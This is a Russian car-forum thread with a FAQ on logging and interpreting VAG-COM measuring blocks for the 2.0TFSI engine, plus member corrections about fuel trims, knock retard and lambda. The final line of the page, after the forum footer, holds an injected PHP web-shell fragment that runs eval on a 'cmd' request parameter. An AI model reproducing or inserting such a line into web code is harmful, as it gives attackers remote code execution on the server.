+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя
Показано с 1 по 10 из 20

Тема: FAQ по записи и интерпретации логов в VAG-COM мотор 2.0TFSI


  1. #1
    GTI-Racing andrei_don is on a distinguished road Аватар для andrei_don
    Регистрация
    03.01.2010
    Откуда
    Белгород
    Машина
    09'Golf MK6 GTI DSG
    Сообщений
    157

    FAQ по записи и интерпретации логов в VAG-COM мотор 2.0TFSI

    Все, что написано ниже, носит информационный характер и не является руководством к действию... Все на свой страх и риск!

    Итак, после длительного времени пользования ВАГ-КОМом, основываясь на статье с форума audizine, GTI-клуба, украинского турбо-гараж и параметров предлагаемых для снятия логов компанией APR и своих наблюдений, решено запостить небольшой FAQ по тому какие показания мониторить на 2,0ТFSI моторе Ауди А4 В7.

    Для того чтобы снимать логии нужно несколько условий:
    1. Настройки машины:
    - ESP выключена.
    - Кондиционер выключен.
    - Окна подняты.
    2. Дорожные условия:
    - прямая дорога, без спусков и подъемов, за городом.
    - лучше всего делать замер на 4й передаче, т.к. так видно больше деталей процессов которые происходят. Разгоняем машину как обычно, включаем 4ю передачу опускаем обороты до 2000 об/мин, нажимаем "start", педаль в пол и крутим мотор до отсечки. Если же дорожные условия не позволяют, можно и на 3й передаче.
    - замер лучше производить на том же участке, несколько раз, например 3-4 раза, давая машине остыть между заездами. Например в одну сторону делаем замер, обратно остываем, затем еще раз делаем замер.
    -
    3. Как выбрать каналы в ВАГ-Коме:
    - Параметры выбираются в разделе Select/Engine/Adv. Meaus. Blocks.
    - Нажимаете кнопку «Turbo» чтобы ускорить процесс обмена данных между блоками.
    - Выбираете блоки описанные ниже. За раз не более 12 блоков.






    Теперь по блокам подробнее.

    НАЧИНАТЬ НУЖНО С БЛОКА 001-1 - engine speed - обороты двигателя

    Channel 001-3: Lambda Regulator – Коррекция смеси по лямбда датчику

    Это значение корректировки топливной таблицы используемой компьютером когда он чувствует что идет обогащение и или обеднение по запрограммированным картам соотношения воздух/топливо. Это значение отображается в процентах от 0% обозначающем НЕ требующего топливной корректировки. Это значит что машина делает то что требуется. Не требование добавления или удаления означает баланс. Компьютер может корректировать обогащение или обеднение до 25% или так. Однако, если увидите значение отличающиеся от 0, это не обозначает что у вас опасно обогащается или обедняется смесь. Положительные значения значат что требуется добавление топлива, отрицательные удаление. Значение когда требуется удаление топлива предпочтительней. Показания больше чем 20 должны насторожить, видимо что то не так. Главное запомнить, что бедная смесь враг для мотора.

    Channel 003-2: Mass Air Flow Sensor (MAF) – датчик массового расхода воздуха

    Этот канал измеряет граммы в секунду - поток воздуха проходящий и считываемый МАФ датчиком. С помощью полученных значений можно смотреть сколько воздуха потребляет мотор. Максимальные значения как правило показываются возле отсечки. По усредненным параметрам, стандартным значением для 2,0TFSI мотора является значение 160-170 грам, для машины с прошивкой+выхлоп+впуск около 200-210грамм. Низкие значения на МАФах 2.0ТФСИ прежде всего говорят о наличии ДЫРЫ в участке воздуховода после ДМРВ и перед турбиной. Т.е. мотор "сосёт мимо кассы" :) Равно как и очень большие показания указывают на наличие ДЫРЫ на участке воздуховода от турбины до дроссельной заслонки. Низкие значения к отсечке например 120г/с покажут что ваш МАФ подыхает. При этом никаких ошибок не будет показваться. Очень низкие или отсутствие показаний на низких оборотах говорит о том что он уже сдох. Интересное примечание что на ГТИ-Клубе народ высчитал примерный коэффициент перевода г/с в лошадиные силы что то в районе 1,25-1,3. Но это все теория из раздела разгон и вес/мощность, на практике очень много факторов влияющих на результат.

    Channel 003-4: Ignition Channel - Угол Зажигания

    Показывает фактический угол зажигания, чтобы вычислить задаваемый нужно к фактическому прибавить откаты в 020 канале( подробнее смотреть ниже). Более ранний угол приведет к появлению детонации, и если не к прогару, то потери мощности и перегреву двигателя. И поздний угол то же приводит к потери мощности, так как происходит не полное сгорание топлива и увеличивается расход топлива.

    Channel 014-3: Misfire Sum – счетчик пропусков зажигания во всех цилиндрах

    Здесь отображается общее количество пропусков зажигания. Их не должно быть вообще, если же они есть, то подробно посмотреть в каком цилиндре по отдельности:
    015-1 Misfire Cyl 1 – пропуски в цилиндр 1
    015-2 Misfire Cyl 2 - пропуски в цилиндр 2
    015-3 Misfire Cyl 3 - пропуски в цилиндр 3
    016-1 Misfire Cyl 4 - пропуски в цилиндр 4
    Довольно частой причиной пропусков являются катушки зажигания, но так же свечи и форсунки. Но лучше сделать комплексную диагностику мотора.

    Channel 020: Ignition Knock Control-Timing Retard for Each Cylinder - Контроль Детонации По Зажиганию- Откаты По Зажиганию Каждого Цилиндра

    020-1 Cylinder Ignition Angle Delay (cyl 1) – Угол отката зажигания(цил 1)
    020-2 Cylinder Ignition Angle Delay (cyl 2) – Угол отката зажигания(цил 2)
    020-3 Cylinder Ignition Angle Delay (cyl 3) – Угол отката зажигания(цил 3)
    020-4 Cylinder Ignition Angle Delay (cyl 4) – Угол отката зажигания(цил 4)

    Этот канал очень важный. Вы должны видеть 0 в каждом поле, с возможными пиками до -6 единиц. Значение 0 в каждом из цилиндров говорит о том что НЕ требуется откатывать угол зажигания. А что если вы видите значение -1.5 и -3 везде и одновременно? Это ничего страшного! Если вы сами настраиваете, в идеале нужно найти такой угол зажигания, чтобы откаты были минимальными и желательно максимально приближенных к 0. Значения откатов зажигания больше 6 должно насторожить к дальнейшим настройка. Использование слишком агрессивного зажигания станет результатом потери мощности(датчик детонации будет откатывать углы назад)и вообще это может привести к смерти мотора.

    Например:
    НА МАШИНЕ ИСПОЛЬЗУЕТСЯ СЛИШКОМ РАННЕЕ ЗАЖИГАНИЕ
    RPM CYL 1 CYL 2 CYL 3 CYL 4
    2500 0 0 0 0
    2750 0 0 0 0
    3000 0 0 0 0
    3250 3 0 1.5 4
    3500 3 3 4 4
    3750 4 6 6 6
    4000 3 0 3 4
    4250 6 6 6 6
    4500 6 6 6 6
    4750 6 4 6 4
    5000 8 6 8 4
    5250 2 8 6 8
    5500 6 8 8 6
    5750 8 4 6 6
    6000 6 6 6 4
    6250 8 8 8 8
    6500 8 6 6 6
    6750 6 6 6 6


    МАШИНА ИСПОЛЬЗУЕТ АГРЕССИВНОЕ ЗАЖИГАНИЕ (на тюненых машинах с прошивкой)
    RPM CYL 1 CYL 2 CYL 3 CYL 4 Retard
    2500 0 0 0 0
    2750 0 0 0 0
    3000 0 0 0 0
    3250 0 0 0 0
    3500 0 1.5 0 0
    3750 3 0 0 1.5
    4000 0 0 3 0
    4250 1.5 1.5 3 3
    4500 3 3 3 3
    4750 1.5 3 1.5 1.5
    5000 3 3 6 3
    5250 0 1.5 3 0
    5500 3 3 1.5 1.5
    5750 3 4 3 1.5
    6000 1.5 3 1.5 4
    6250 3 3 3 3
    6500 4 3 3 3
    6750 1.5 3 1.5 3

    МАШИНА ИСПОЛЬЗУЕТ СЛИШКОМ БЕЗОПАСНОЕ ЗАЖИГАНИЕ

    RPM CYL 1 CYL 2 CYL 3 Cyl 4 Retard
    2500 0 0 0 0
    2750 0 0 0 0
    3000 0 0 0 0
    3250 0 0 0 0
    3500 0 0 0 0
    3750 0 0 0 1.5
    4000 0 0 0 0
    4250 0 0 0 0
    4500 0 0 0 0
    4750 1.5 0 0 0
    5000 0 0 0 0
    5250 0 1.5 0 0
    5500 0 0 0 0
    5750 0 0 0 0
    6000 0 0 0 0
    6250 0 0 0 0
    6500 0 0 0 0
    6750 0 0 0 0

    Channel 031-1: Lambda, Current Value or A/F Ratio – Показание Лямбды или соотношение смеси воздух/топливо

    Практически это значение важно рассматривать только когда машина разгоняется под полным газом, иначе показания будут какие попало. Значения которые отображаются датчиком следует читать таким образом: 1=14,7:1, значение 0.85=12,5:1, значение 0.75=11:1 и тд. То есть значение выдаваемое ВАГ-КОМом нужно умножить на 14,7. Машина у которой смесь настроена на 14:1(значение лямбды 0.95) во всем диапазоне работы мотора до отсечки, например бустапнутая использует бедную смесь. Напротив, смесь настроенная на 10:1(значение лямбды 0.75) богатую смесь. В идеале видеть смесь начинающуюся от заводских 14.7:1 на холостых, 13:1 на средних оборотах(3500об/мин около того) и около 12:1 к отсечке.(ПРИМЕЧАНИЕ: новые FSI моторы используют примерно 10,5:1 на полностью открытом газу). Бедная смесь ведет к повышению температуры горения смеси. Богатая - наоборот. На практике ее держат в диапазоне 12:1...13:1 для дополнительного охлаждения. Это хороший A/F для атмосферного мотора, но он может в некоторых случаях быть крайне опасным в случае с турбомотором. Более богатая смесь снижает температуру в камере сгорания и повышает стойкость к детонации, а также снижает температуру выхлопных газов и увеличивает срок службы турбины и коллектора.

    Реально при настройке существует три способа борьбы с детонацией:
    - уменьшение давление наддува
    - обогащение смеси
    - использование более позднего зажигания.

    Задачей настройщика является поиск наилучшего баланса этих трех параметров для получения максимальной отдачи и ресурса турбомотора.

    Также правильная настройка смеси даст хорошую топливную экономичность по время спокойной езды и мотор будет хорошо набирать обороты под полным газом. Кстати, оптимизация топливовоздушной смеси объясняет снижение расхода топлива после прошивки мотора, например когда вы двигаетесь за городом в режиме до 3000 об/мин.

    Пример показания лямбды с прошитой машины:

    RPM Lambda
    2000 .84
    2250 .84
    2500 .84
    2750 .84
    3000 .84
    3250 .84
    3500 .84
    3750 .84
    4000 .84
    4250 .83
    4500 .83
    4750 .82
    5000 .82
    5250 .81
    5500 .80
    5750 .80
    6000 .80
    6250 .76
    6500 .76
    6750 .76

    Channel 102-3: Intake Air Temperatures - Температура Впускного Воздуха

    Этот канал показывает температуру впуска. Датчик расположен во впускном коллекторе, сразу за дроссельной заслонкой. Он показывает температуру воздуха прошедшего через воздушный фильтр+интеркуллеры, чтобы поступить в цилиндры и смешаться с топливом. К сожалению этот канат н идеален для измерения эффективности интеркуллера потому что в по хорошему нужно было бы замерить температуру как до интеркуллера так и после и уже на разнице этих температур посмотреть насколько эффективно он работает. В идеале, поступаемый воздух в мотор должен быть как можно холоднее. В принципе интеркуллер для этого и создан. Но интеркуллер нагреваться если хорошо не обдувается- это легко проверить если сделать 4 подряд замера на полном газу и посмотреть как растет температура. У нас на А4 Б7 стоят 2 интеркуллера позади противотуманых фар, обдуваются они недостаточно хорошо поэтому установка фронтального интеркуллера желательна на прошитых машинах с высоким давлением наддува. По моим замерам после четырех заездов разница температуры на впуске около 7 градусов, а в теории 3градуса это 1% КПД двигателя. Причем чем больше замеров подряд делать тем больше будет разница. Так же с установкой фронтального куллера уменьшается длина впускной трассы, что положительно скажется на чувствительности педали газа.

    Сhannel 103-1: Current Fuel Pressure – Давление Топлива «низкое»

    Показывает давление топлива создаваемое насосом в баке. Стандартно на холостых значение составляет около 4-5 бар. Под нагрузкой к отсечке может немного «проседать» до 3,5бар. Если значение падает ниже 3бар то требуется посмотреть на состояние топливного фильтра или заменить насос.

    Channel 112-3: Exhaust Gas Temperatures (EGT) - Температуры Выхлопных Газов

    Интересный канал, позволяющий отследить, что другие настройки выполнены должным образом. Показания которые здесь отображаются получены не с физического датчика, а с математической модели заложенным инженерами VAG. На холостых это бесполезное значение. Точно так же нужно сделать замер на полном газу на 4 или 3й передачи. Температура выхлопа в 900град и ниже, общепринятая температура на нашем моторе. У меня например никогда не поднималась выше 850, на эво-клубе и на турерв-ви клубе народ старется держать температуру в пределах 820-830град. Этот параметр правильно отображается только до 999град или около того. Если вы видите значения больше, это хороший показатель того, что то идет не так. Езда с высокой температурой довольно долго может обернуться катастрофой для мотора.

    Channel 115: Boost Pressure – Давление Наддува

    115-3 Boost Pressure (Specified) – запрашиваемое давление наддува
    115-4 Boost Pressure (Actual) – реальное давление наддува

    Это очень полезный канал для диагностики определения утечек давления и выяснения правильной работы железа или софта. Этот канал показывает давление запрашиваемое компьютером(specified boost) в первой колонке и реальное давление производимое турбиной(actual boost). Значение которые получены, должны быть скорректированы с учетом атмосферного давления(около 1040мбар на уровне моря). Но вообще принято просто отнимать 1000 и получится результат.
    Например, какое давление на 3000об/мин?
    RPM Requested Boost Actual Boost
    2500...2100...1800
    2750...2200...1950
    3000...2200...2250
    3250...2200...2200
    3500...2200...2100
    Правильный ответ будет:
    Компьютер запросил 1,2 бар на 3000, а турбина надула 1,25 бар.
    Поэтому, эти значения важны для нас как датчик давления наддува. Как вы можете представить, если у вас идет недодув вы теряете мощность. И вот как раз это можно отследить в этом канале. Причин как показывает практика несколько, самые частые: перепускной клапан, клапан N75, «просевшая» пружина вестгейта, утечка - когда требуется опрессовка системы, да даже грязный воздушный фильтр.
    ПРИМЕЧАНИЕ: Датчик измеряет значения до 2540мбар включая атмосферное. Это значит, что если вы будете дуть больше 1,5бар датчик этого не увидит.

    Channel 230: Rail Pressure – Давление Топлива «высокое»

    230-1 Rail Pressure (Specified) – давление топлива(запрашиваемое)
    230-2 Rail Pressure (Actual) – давление топлива(актуальное)

    Полезный канал для диагностики «высокого» давления топлива, создаваемого топливным насосом высокого давления. Так же как и с бустом, есть два значения запрашиваемое(specified) и актуальное(actual). На прошитых машинах давление около 110бар, а на специальных программах под усиленный насос(APR, KDM тд) доходит до 130бар. Если возникли какие то проблемы с этими значениями причиной может быть толкатель, подкачивающий из бака погружной насос или банально топливный фильтр.
    ПРИМЕЧАНИЕ: Стандартный датчик измеряет до 136 бар.

    Надеюсь информация будет полезна.

    С уважением, Andrei_Don.

    Ссылки на используемые материалы:
    http://www.audizine.com/forum/showth...retation-guide...
    http://www.goapr.com/support/datalogging.php
    http://turbo-garage.com.ua/tech.php
    http://gti-club.ru/forum/showthread....515#post265515
    Последний раз редактировалось andrei_don; 03.12.2012 в 13:18.

  2. #2
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Мега молодец!
    песок сыпется....не останавливайтесь на достигнутом !

  3. #3
    GTI-Racing andrei_don is on a distinguished road Аватар для andrei_don
    Регистрация
    03.01.2010
    Откуда
    Белгород
    Машина
    09'Golf MK6 GTI DSG
    Сообщений
    157
    Цитата Сообщение от BON Посмотреть сообщение
    Мега молодец!
    Спасибо! Не один день поратил пока это все собрал в кучу и набрал. Давно хотел что то типа такого замутить. Надеюсь инфа будет полезной в ПОНИМАНИИ того что происходит с машиной.

  4. #4
    GTI-Racing Cabal is on a distinguished road Аватар для Cabal
    Регистрация
    04.12.2009
    Откуда
    Москва
    Машина
    Skoda Octavia FL RS k04 APR
    Сообщений
    167
    Конечно полезная!
    РЕСПЕКТ!

  5. #5
    Супер Модератор Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Аватар для Spaceman
    Регистрация
    13.01.2009
    Откуда
    Moscow
    Машина
    GTI Overload
    Сообщений
    6,561
    Обязательно в FAQ! Красаучег!:)
    Golf V GTI Overload почти сток...

  6. #6
    GTI-Racing Амет is a jewel in the rough Амет is a jewel in the rough Амет is a jewel in the rough Аватар для Амет
    Регистрация
    16.09.2009
    Машина
    Cupra MK2
    Сообщений
    882
    еще 032, 114, 231 вместо 103

  7. #7
    GTI-Racing Cheh is on a distinguished road Аватар для Cheh
    Регистрация
    01.09.2009
    Откуда
    МО г. Реутов
    Машина
    A3 Sportback 2.0T DSG
    Сообщений
    185
    Молодец, большое дело сделал.
    Нужно теперь его дополнять.
    Амет, ты бы чего умного тоже добавил, кроме номеров каналов :) Есть же знания то!

  8. #8
    GTI-Racing turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold turborabbit is a splendid one to behold Аватар для turborabbit
    Регистрация
    07.09.2011
    Откуда
    +ключи от квартиры
    Машина
    MKVI GTi 475hp
    Сообщений
    533
    Цитата Сообщение от andrei_don Посмотреть сообщение
    Channel 001-3: Lambda Regulator – Коррекция смеси по лямбда датчику

    Это значение корректировки топливной таблицы используемой компьютером когда он чувствует что идет обогащение и или обеднение по запрограммированным картам соотношения воздух/топливо. Это значение отображается в процентах от 0% обозначающем НЕ требующего топливной корректировки. Это значит что машина делает то что требуется. Не требование добавления или удаления означает баланс. Компьютер может корректировать обогащение или обеднение до 25% или так. Однако, если увидите значение отличающиеся от 0, это не обозначает что у вас опасно обогащается или обедняется смесь. Положительные значения значат что требуется добавление топлива, отрицательные удаление. Значение когда требуется удаление топлива предпочтительней. Показания больше чем 20 должны насторожить, видимо что то не так. Главное запомнить, что бедная смесь враг для мотора.
    ====
    Это всего-лишь коэффициент моментальной подстройки состава смеси.
    Буржуины его ещё называют "short term fuel trim".
    Тот факт что там 0% не говорит что всё ОК.
    Потому, что есть ещё и "long term fuel trim". Т.е. аккумулятивная подстройка смеси из двух составляющих - аддитивной и мультипликативной. Первая прибавляет(вычитает) к расчётному времени впрыска конкретную цыфирь. Вторая - умножает расчётное время впрыска на коэффициент.

    Рассказываю простыми словами как это работает на практике :

    • Ставим афтермаркетовый впуск у которого сечение в районе ДатчикаМассовогоРасходаВоздуха чуть другое (сравнивая со стоком).Чуть большее например (обычно именно так). ДМРВ меряет скорость потока в известном заранее сечении. И потом зная температуру и влажность уже вычисляет массу. При увеличении сечения, при прочих равных (согласно закону Бернулли) скорость потока уменьшится.
    • Соответственно показания ДМРВ неправильно интерпретируются мозгом.
    • Соответственно мозг будет неправильно рассчитывать время впрыска.
    • Соответственно фактический состав смеси не будет совпадать с расчётным.
    • И ШирокополосныйДатчикКислорода это дело увидит и сообщит в мозг.
    • Мозг сначала функцией моментальной подстройки добавит нужные проценты.
    • Но поскольку это не спонтанный глюк а систематически повторяющаяся ошибка - мозг увидя постоянные например 15% корректировки - начнёт добавлять проценты в аккумулятивный коэффициент подстройки, тем самым разгружая и восстанавливая эффективные границы моментальной подстройки (+26.7...-26.7%). При этом после нескольких километров в аккумулятивном алгоритме будут эти самые 15%, а в моментальной всё опять вертеться вокруг 0%. А проблема-то есть :)

    Вот по этому для правильного снятия логов, вместе с каналом 001 нужно смотреть и 032 в котором показаны аккумулятивные коэффициенты.



    Цитата Сообщение от andrei_don Посмотреть сообщение
    Низкие значения к отсечке например 120г/с покажут что ваш МАФ подыхает. При этом никаких ошибок не будет показваться. Очень низкие или отсутствие показаний на низких оборотах говорит о том что он уже сдох.
    ====
    Низкие значения на МАФах 2.0ТФСИ прежде всего говорят не о кончине ДМРВ (который по сравнению с предыдущим поколением ДМРВ на моторах 1.8Т 20кл - эталон надёжности), а о наличии ДЫРЫ в участке воздуховода после ДМРВ и перед турбиной. Т.е. мотор "сосёт мимо кассы" :)
    Равно как и очень большие показания указывают на наличие ДЫРЫ на участке воздуховода от турбины до ДроссельнойЗаслонки.


    Цитата Сообщение от andrei_don Посмотреть сообщение
    Интересное примечание что на ГТИ-Клубе народ высчитал примерный коэффициент перевода г/с в лошадиные силы что то в районе 1,25-1,3. Но это все теория из раздела разгон и вес/мощность,
    ====
    Стенды тоже какбы меряют разгон массы известного веса...


    Цитата Сообщение от andrei_don Посмотреть сообщение
    Channel 003-4: Ignition Channel - Угол Зажигания

    Показывает задаваемый компьютером угол зажигания, по параметрам которого потом производятся или нет откаты зажигания в 020 канале( подробнее смотреть ниже).
    ====
    Он не показывает задаваемый угол зажигания.
    Он показывает ФАКТИЧЕСКИЙ угол зажигания.

    Чтобы вычислить задаваемый нужно к фактическому прибавить откаты.

    Цитата Сообщение от andrei_don Посмотреть сообщение
    Так как же строится карта угла опережения зажигания
    ====
    Так как?


    Цитата Сообщение от andrei_don Посмотреть сообщение
    Довольно частой причиной пропусков являются катушки зажигания, но так же свечи и форсунки.
    ====
    А так-же неисправность ТННД, ТНВД, ДМРВ, ДАД и далее по списку.
    Другими словами - нужно делать комплексную диагностику.

    Цитата Сообщение от andrei_don Посмотреть сообщение
    Channel 020: Ignition Knock Control-Timing Retard for Each Cylinder - Контроль Детонации По Зажиганию- Откаты По Зажиганию Каждого Цилиндра

    Этот канал очень важный. Вы должны видеть 0 в каждом поле, с возможными пиками до 6 единиц.
    ====
    Вообще-то до 12 или до 10.5 в некоторых версиях мозгов.
    Абсолютно монопенисуально 6 там единиц или 12, важен факт что они ТАМ ЕСТЬ.

    Цитата Сообщение от andrei_don Посмотреть сообщение
    Значение 0 в каждом из цилиндров говорит о том что НЕ требуется откатывать угол зажигания. А что если вы видите значение 1.5 и 3 везде и одновременно? Это ничего страшного!
    ====
    Угу, ничего, просто при вынужденной (или в результате мошенничества) заправке низкооктановой жижей у вас будет не -12 спасительных градусов отката, а уже -9.

    Цитата Сообщение от andrei_don Посмотреть сообщение
    Если вы сами настраиваете, в идеале нужно найти такой угол зажигания, чтобы откаты были минимальными и желательно максимально приближенных к 0.
    ====
    На самом деле, особенно в российских реалиях нестабильного качества топлива, там должны быть нули и только после ооочень сильного отжига, когда всё нагрелось можно допускать -1.5.
    Кроме того, постоянное наличие ретардов (вне зависимости от из величины!) и абсолютная цыфирь УОЗ похожая на пилу, ведут к бОльшей потере мощности чем вариант где ретардов нет вообще и угол на 0.8-1.5 градуса ниже порога детонации.
    Золотое правило "со звоном(детонацией) не нужно бороться, его не нужно допускать".
    А когда в логе постоянные -3 и -4.5 то это из серии "а вот если я туда залью 102го бензинчика - от тогда попрёт так попрёт".

    Цитата Сообщение от andrei_don Посмотреть сообщение
    Channel 031-1: Lambda, Current Value or A/F Ratio – Показание Лямбды или соотношение смеси воздух/топливо

    Практически это значение важно рассматривать только когда машина разгоняется под полным газом, иначе показания будут какие попало. Значения которые отображаются датчиком следует читать таким образом: 1=14,7:1, значение 0.85=12,5:1, значение 0.75=11:1 и тд. То есть значение выдаваемое ВАГ-КОМом нужно умножить на 14,7. Машина у которой смесь настроена на 14:1(значение лямбды 0.95) во всем диапазоне работы мотора до отсечки, например бустапнутая использует бедную смесь. Напротив, смесь настроенная на 10:1(значение лямбды 0.75) богатую смесь. В идеале видеть смесь начинающуюся от заводских 14.7:1 на холостых, 13:1 на средних оборотах(3500об/мин около того) а около 12:1 к отсечке.(ПРИМЕЧАНИЕ: новые FSI моторы используют примерно 10,5:1 на полностью открытом газу). Бедная смесь ведет к повышению температуры горения смеси. Богатая - наоборот. На практике ее держат в диапазоне 12:1...13:1 для дополнительного охлаждения. Это хороший A/F для атмосферного мотора, но он может в некоторых случаях быть крайне опасным в случае с турбомотором. Более богатая смесь снижает температуру в камере сгорания и повышает стойкость к детонации, а также снижает температуру выхлопных газов и увеличивает срок службы турбины и коллектора.

    Реально при настройке существует три способа борьбы с детонацией:
    - уменьшение давление наддува
    - обогащение смеси
    - использование более позднего зажигания.

    Задачей настройщика является поиск наилучшего баланса этих трех параметров для получения максимальной отдачи и ресурса турбомотора.

    Также правильная настройка смеси даст хорошую топливную экономичность по время спокойной езды и мотор будет хорошо набирать обороты под полным газом. Кстати, оптимизация топливовоздушной смеси объясняет снижение расхода топлива после прошивки мотора, например когда вы двигаетесь за городом в режиме до 3000 об/мин.

    Пример показания лямбды с прошитой машины:

    RPM Lambda
    2500 .99
    2750 .95
    3000 .95
    3250 .95
    3500 .90
    3750 .90
    4000 .90
    4250 .85
    4500 .85
    4750 .85
    5000 .85
    5250 .85
    5500 .85
    5750 .85
    6000 .80
    6250 .80
    6500 .80
    6750 .80
    =====
    Ну вот зачем Вы ставите АПРовские глюки в пример??
    Это либо пример машины с меготурбиной раздувающейся на 6000 либо пример НЕПРАВИЛЬНО прошитой машины.
    Ну какая смесь 0.95 (14 АФР) на 3000 когда у Вас на 3000 стоковая турбина дует в полный рост???
    Это же даже не коррелируется со всем тем что Вы написали выше про температуры и плавленные поршни...

    Турбина дует = смесь 0.83-0.82 и ниже. Чем выше наддув и выше обороты - тем ниже смесь.

    По остальному допишу пожже + по доп.каналам, топик интересный и познавательный.

  9. #9
    GTI-Racing andrei_don is on a distinguished road Аватар для andrei_don
    Регистрация
    03.01.2010
    Откуда
    Белгород
    Машина
    09'Golf MK6 GTI DSG
    Сообщений
    157
    Спасибо за дополнения, ВМЕСТЕ можно сделать технически правильный топик. Сноску на ваше участие добавил внизу FAQ.

    Цитата Сообщение от turborabbit Посмотреть сообщение
    Вот по этому [B]для правильного снятия логов, вместе с каналом 001 нужно смотреть и 032 в котором показаны аккумулятивные коэффициенты.
    + добавим в FAQ, как Амет писал выше.
    Как интерпритировать данные?

    Цитата Сообщение от turborabbit Посмотреть сообщение
    Низкие значения на МАФах 2.0ТФСИ прежде всего говорят не о кончине ДМРВ (который по сравнению с предыдущим поколением ДМРВ на моторах 1.8Т 20кл - эталон надёжности), а о наличии ДЫРЫ в участке воздуховода после ДМРВ и перед турбиной. Т.е. мотор "сосёт мимо кассы" :)
    Равно как и очень большие показания указывают на наличие ДЫРЫ на участке воздуховода от турбины до ДроссельнойЗаслонки.
    + добавим в FAQ

    Цитата Сообщение от turborabbit Посмотреть сообщение
    Он не показывает задаваемый угол зажигания.
    Он показывает ФАКТИЧЕСКИЙ угол зажигания.

    Чтобы вычислить задаваемый нужно к фактическому прибавить откаты.
    +
    Да уж, круто написано мной, исправил.

    Цитата Сообщение от turborabbit Посмотреть сообщение
    А так-же неисправность ТННД, ТНВД, ДМРВ, ДАД и далее по списку.
    Другими словами - нужно делать комплексную диагностику.
    +
    Указаны самые ПОПУЛЯРНЫЕ причины.

    Цитата Сообщение от turborabbit Посмотреть сообщение
    Ну вот зачем Вы ставите АПРовские глюки в пример??
    Это либо пример машины с меготурбиной раздувающейся на 6000 либо пример НЕПРАВИЛЬНО прошитой машины.
    Ну какая смесь 0.95 (14 АФР) на 3000 когда у Вас на 3000 стоковая турбина дует в полный рост???
    Это же даже не коррелируется со всем тем что Вы написали выше про температуры и плавленные поршни...

    Турбина дует = смесь 0.83-0.82 и ниже. Чем выше наддув и выше обороты - тем ниже смесь.
    По показаниям смеси не понял?
    Спорить о том правильно это или нет- уместно в вашей личной теме про советы. Закопипостил с другого форума ПРИМЕР показаний- не более! Ссылка есть выше, вопросы и претензии ТУДА. Где мною указано, что это АПР и это ИДЕАЛ? :-)
    Последний раз редактировалось andrei_don; 12.12.2011 в 00:51.

  10. #10
    Мимо проходил Blaster is on a distinguished road Аватар для Blaster
    Регистрация
    24.11.2012
    Откуда
    Кишинев
    Машина
    VW Jetta 2.0TFSI Sportline
    Сообщений
    10
    что означают минусовые показания в канале 020? есть и нули но местами доходят до -6

+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя

Похожие темы

  1. Passat B6 2.0TFSI
    от Diman82 в разделе Покупка и продажа
    Ответов: 5
    Последнее сообщение: 12.02.2024, 19:09
  2. снятие логов через Vag-com
    от coolroy в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 8
    Последнее сообщение: 02.10.2023, 06:50
  3. Анализ ЛОГОВ
    от geminus в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 44
    Последнее сообщение: 02.10.2023, 04:49
  4. VAG COM и диагностика (считывание логов)
    от VVZ в разделе Двигатель
    Ответов: 1
    Последнее сообщение: 06.10.2009, 11:05
  5. Вопрос по GTI mk6 и a4(b8) 2.0TFSI
    от Gtier в разделе Отзывы / Выбор
    Ответов: 12
    Последнее сообщение: 15.09.2009, 23:34

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}